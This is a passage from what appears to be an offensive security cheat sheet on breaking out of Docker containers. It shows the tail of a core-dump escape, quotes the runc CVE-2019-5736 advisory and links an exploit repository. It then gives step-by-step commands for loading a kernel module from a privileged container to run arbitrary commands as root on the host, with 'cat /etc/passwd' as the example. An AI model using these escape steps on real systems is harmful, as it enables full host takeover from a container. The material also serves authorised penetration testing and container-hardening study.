overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/YLH6C6EQMMG7DA2AL5DUANDHYJ:/var/lib/docker/overlay2/l/HP7XLDFT4ERSCYVHJ2WMZBG2YT,upperdir=/var/lib/docker/overlay2/c51a87501842b287018d22e9d09d7d8dc4ede83a867f36ca199434d5ea5ac8f5/diff,workdir=/var/lib/docker/overlay2/c51a87501842b287018d22e9d09d7d8dc4ede83a867f36ca199434d5ea5ac8f5/work)
```
2. Create an evil binary at the root of the filesystem: `cp /tmp/poc /poc`
3. Set the program to be executed on the coredumps
> The vulnerability allows a malicious container to (with minimal user interaction) overwrite the host runc binary and thus gain root-level code execution on the host. The level of user interaction is being able to run any command ... as root within a container in either of these contexts: Creating a new container using an attacker-controlled image. Attaching (docker exec) into an existing container which the attacker had previous write access to. - Vulnerability overview by the runC team
Exploit for CVE-2019-5736 : https://github.com/twistlock/RunC-CVE-2019-5736
## Breaking out of Docker via kernel modules loading
> When privileged Linux containers attempt to load kernel modules, the modules are loaded into the host's kernel (because there is only *one* kernel, unlike VMs). This provides a route to an easy container escape.
Exploitation:
* Clone the repository : `git clone https://github.com/xcellerator/linux_kernel_hacking/tree/master/3_RootkitTechniques/3.8_privileged_container_escaping`
* Build with `make`
* Start a privileged docker container with `docker run -it --privileged --hostname docker --mount "type=bind,src=$PWD,dst=/root" ubuntu`
*`cd /root` in the new container
* Insert the kernel module with `./escape`
* Run `./execute`!
Unlike other techniques, this module doesn't contain any syscalls hooks, but merely creates two new proc files; `/proc/escape` and `/proc/output`.
*`/proc/escape` only answers to write requests and simply executes anything that's passed to it via [`call_usermodehelper()`](https://www.kernel.org/doc/htmldocs/kernel-api/API-call-usermodehelper.html).
*`/proc/output` just takes input and stores it in a buffer when written to, then returns that buffer when it's read from - essentially acting a like a file that both the container and the host can read/write to.
The clever part is that anything we write to `/proc/escape` gets sandwiched into `/bin/sh -c <INPUT> > /proc/output`. This means that the command is run under `/bin/sh` and the output is redirected to `/proc/output`, which we can then read from within the container.
Once the module is loaded, you can simply `echo "cat /etc/passwd" > /proc/escape` and then get the result via `cat /proc/output`. Alternatively, you can use the `execute` program to give yourself a makeshift shell (albeit an extraordinarily basic one).
The only caveat is that we cannot be sure that the container has `kmod` installed (which provides `insmod` and `rmmod`). To overcome this, after building the kernel module, we load it's byte array into a C program, which then uses the `init_module()` syscall to load the module into the kernel without needing `insmod`. If you're interested, take a look at the Makefile.
- [Hacking Docker Remotely - 17 March 2020 - ch0ks](https://hackarandas.com/blog/2020/03/17/hacking-docker-remotely/)
- [Understanding Docker container escapes - JULY 19, 2019 - Trail of Bits](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)
- [Capturing all the flags in BSidesSF CTF by pwning our infrastructure - Hackernoon](https://hackernoon.com/capturing-all-the-flags-in-bsidessf-ctf-by-pwning-our-infrastructure-3570b99b4dd0)
- [Breaking out of Docker via runC – Explaining CVE-2019-5736 - Yuval Avrahami - February 21, 2019](https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/)
- [CVE-2019-5736: Escape from Docker and Kubernetes containers to root on host - dragonsector.pl](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)
